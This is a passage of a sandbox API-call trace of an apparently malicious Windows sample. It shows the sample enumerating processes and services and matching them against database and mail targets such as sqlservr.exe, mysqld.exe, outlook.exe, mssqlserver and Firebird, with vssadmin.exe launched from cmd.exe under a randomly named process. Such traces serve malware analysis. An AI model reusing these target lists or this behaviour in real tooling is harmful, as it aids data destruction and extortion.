(lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.031] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.031] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.031] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.031] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.031] lstrlenW (lpString="wininit.exe") returned 11 [0049.031] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.031] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.031] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.032] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.032] lstrlenW (lpString="csrss.exe") returned 9 [0049.032] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.032] lstrlenW (lpString="winlogon.exe") returned 12 [0049.032] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.033] lstrlenW (lpString="services.exe") returned 12 [0049.033] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.033] lstrlenW (lpString="lsass.exe") returned 9 [0049.033] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.033] lstrlenW (lpString="lsm.exe") returned 7 [0049.033] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.033] lstrlenW (lpString="svchost.exe") returned 11 [0049.034] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.034] lstrlenW (lpString="svchost.exe") returned 11 [0049.034] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.034] lstrlenW (lpString="svchost.exe") returned 11 [0049.034] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.034] lstrlenW (lpString="svchost.exe") returned 11 [0049.034] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.035] lstrlenW (lpString="svchost.exe") returned 11 [0049.035] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.035] lstrlenW (lpString="audiodg.exe") returned 11 [0049.035] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.035] lstrlenW (lpString="svchost.exe") returned 11 [0049.035] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.036] lstrlenW (lpString="svchost.exe") returned 11 [0049.036] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.036] lstrlenW (lpString="dwm.exe") returned 7 [0049.036] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.036] lstrlenW (lpString="explorer.exe") returned 12 [0049.036] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.036] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.036] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.037] lstrlenW (lpString="taskhost.exe") returned 12 [0049.037] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.037] lstrlenW (lpString="svchost.exe") returned 11 [0049.037] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.037] lstrlenW (lpString="taskeng.exe") returned 11 [0049.037] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.038] lstrlenW (lpString="taskhost.exe") returned 12 [0049.038] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0049.038] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0049.038] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0049.038] lstrlenW (lpString="noticed.exe") returned 11 [0049.038] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0049.038] lstrlenW (lpString="uploaded.exe") returned 12 [0049.038] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0049.039] lstrlenW (lpString="hardware.exe") returned 12 [0049.039] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0049.039] lstrlenW (lpString="oracle.exe") returned 10 [0049.039] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0049.039] lstrlenW (lpString="creativity.exe") returned 14 [0049.039] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0049.040] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0049.040] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0049.040] lstrlenW (lpString="edited.exe") returned 10 [0049.040] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0049.040] lstrlenW (lpString="custody.exe") returned 11 [0049.040] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0049.041] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0049.041] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0049.041] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0049.041] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0049.041] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0049.041] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0049.041] lstrlenW (lpString="radius.exe") returned 10 [0049.042] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0049.042] lstrlenW (lpString="extensions.exe") returned 14 [0049.042] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0049.042] lstrlenW (lpString="desperate.exe") returned 13 [0049.042] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0049.042] lstrlenW (lpString="professor-mo.exe") returned 16 [0049.042] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0049.043] lstrlenW (lpString="guidance.exe") returned 12 [0049.043] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0049.043] lstrlenW (lpString="week.exe") returned 8 [0049.043] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0049.043] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0049.043] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0049.044] lstrlenW (lpString="sn featured.exe") returned 15 [0049.044] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0049.044] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0049.044] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0049.044] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0049.044] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.044] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.044] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0049.045] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0049.045] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.045] lstrlenW (lpString="cmd.exe") returned 7 [0049.045] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.045] lstrlenW (lpString="conhost.exe") returned 11 [0049.045] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.046] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.046] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.046] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.046] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.046] lstrlenW (lpString="svchost.exe") returned 11 [0049.046] Process32NextW (in: hSnapshot=0x3dc, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.046] CloseHandle (hObject=0x3dc) returned 1 [0049.046] Sleep (dwMilliseconds=0x1f4) [0049.740] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32980d0 [0049.741] EnumServicesStatusExW (in: hSCManager=0x32980d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0049.741] GetLastError () returned 0xea [0049.741] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x53a0068 [0049.741] EnumServicesStatusExW (in: hSCManager=0x32980d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53a0068, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53a0068, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0049.742] CloseServiceHandle (hSCObject=0x32980d0) returned 1 [0049.742] lstrlenW (lpString="Appinfo") returned 7 [0049.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.742] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.742] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.742] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.742] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.742] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.742] lstrlenW (lpString="AudioSrv") returned 8 [0049.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.742] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.742] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.742] lstrlenW (lpString="BFE") returned 3 [0049.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.742] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.742] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.742] lstrlenW (lpString="CryptSvc") returned 8 [0049.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.743] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.743] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.743] lstrlenW (lpString="CscService") returned 10 [0049.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.743] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.743] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.743] lstrlenW (lpString="DcomLaunch") returned 10 [0049.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.743] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.743] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.743] lstrlenW (lpString="Dhcp") returned 4 [0049.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.743] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.743] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.743] lstrlenW (lpString="Dnscache") returned 8 [0049.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.743] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.743] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.743] lstrlenW (lpString="DPS") returned 3 [0049.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.743] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.743] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.744] lstrlenW (lpString="eventlog") returned 8 [0049.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.744] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.744] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.744] lstrlenW (lpString="EventSystem") returned 11 [0049.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.744] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.744] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.744] lstrlenW (lpString="gpsvc") returned 